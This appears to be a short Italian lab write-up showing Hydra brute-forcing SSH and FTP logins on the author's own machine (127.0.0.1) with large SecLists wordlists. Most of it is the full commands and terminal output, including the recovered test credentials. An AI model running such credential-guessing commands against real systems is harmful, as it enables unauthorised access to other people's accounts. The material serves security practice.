Cracking di autenticazione con Hydra:

```
┌──(kali㉿kali)-[~]
└─$ hydra -V -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Password
s/xato-net-10-million-passwords.txt 127.0.0.1 -t 4 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organi
zations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-29 09:25:48
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session
 found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 43048895616480 login tries (l:8295456/p:5189455), ~1076222390
4120 tries per task
[DATA] attacking ssh://127.0.0.1:22/
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "testpass" - 1 of 43048895616480 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "123456" - 2 of 43048895616480 [child 1] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "password" - 3 of 43048895616480 [child 2] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "12345678" - 4 of 43048895616480 [child 3] (0/0)
[22][ssh] host: 127.0.0.1   login: test_user   password: testpass
[ATTEMPT] target 127.0.0.1 - login "info" - pass "testpass" - 5189456 of 43048895616480 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "info" - pass "123456" - 5189457 of 43048895616480 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "info" - pass "password" - 5189458 of 43048895616480 [child 3] (0/0)
[ATTEMPT] target 127.0.0.1 - login "info" - pass "12345678" - 5189459 of 43048895616480 [child 1] (0/0)
[ATTEMPT] target 127.0.0.1 - login "info" - pass "qwerty" - 5189460 of 43048895616480 [child 2] (0/0)
[ATTEMPT] target 127.0.0.1 - login "info" - pass "123456789" - 5189461 of 43048895616480 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "info" - pass "12345" - 5189462 of 43048895616480 [child 3] (0/0)
[ATTEMPT] target 127.0.0.1 - login "info" - pass "1234" - 5189463 of 43048895616480 [child 2] (0/0)
[ATTEMPT] target 127.0.0.1 - login "info" - pass "111111" - 5189464 of 43048895616480 [child 1] (0/0)
```

Per semplicità essendo una scansione su miliardi di username e password abbiamo manualmente spostato queste ultime ad un livello più alto per velocizzare la ricerca.

Cracking di autenticazione con ftp:

```
┌──(kali㉿kali)-[~]
└─$ hydra -V -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Password
s/xato-net-10-million-passwords.txt ftp://127.0.0.1 -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organi
zations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-29 11:12:20
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session
 found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 43048895616480 login tries (l:8295456/p:5189455), ~26905559
76030 tries per task
[DATA] attacking ftp://127.0.0.1:21/
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "testpass" - 1 of 43048895616480 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "123456" - 2 of 43048895616480 [child 1] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "password" - 3 of 43048895616480 [child 2] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "12345678" - 4 of 43048895616480 [child 3] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "qwerty" - 5 of 43048895616480 [child 4] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "123456789" - 6 of 43048895616480 [child 5] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "12345" - 7 of 43048895616480 [child 6] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "1234" - 8 of 43048895616480 [child 7] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "111111" - 9 of 43048895616480 [child 8] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "1234567" - 10 of 43048895616480 [child 9] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "dragon" - 11 of 43048895616480 [child 10] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "123123" - 12 of 43048895616480 [child 11] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "baseball" - 13 of 43048895616480 [child 12] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "abc123" - 14 of 43048895616480 [child 13] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "football" - 15 of 43048895616480 [child 14] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "monkey" - 16 of 43048895616480 [child 15] (0/0)
[21][ftp] host: 127.0.0.1   login: test_user   password: testpass
[ATTEMPT] target 127.0.0.1 - login "info" - pass "testpass" - 5189456 of 43048895616480 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "info" - pass "123456" - 5189457 of 43048895616480 [child 4] (0/0)
[ATTEMPT] target 127.0.0.1 - login "info" - pass "password" - 5189458 of 43048895616480 [child 5] (0/0)
```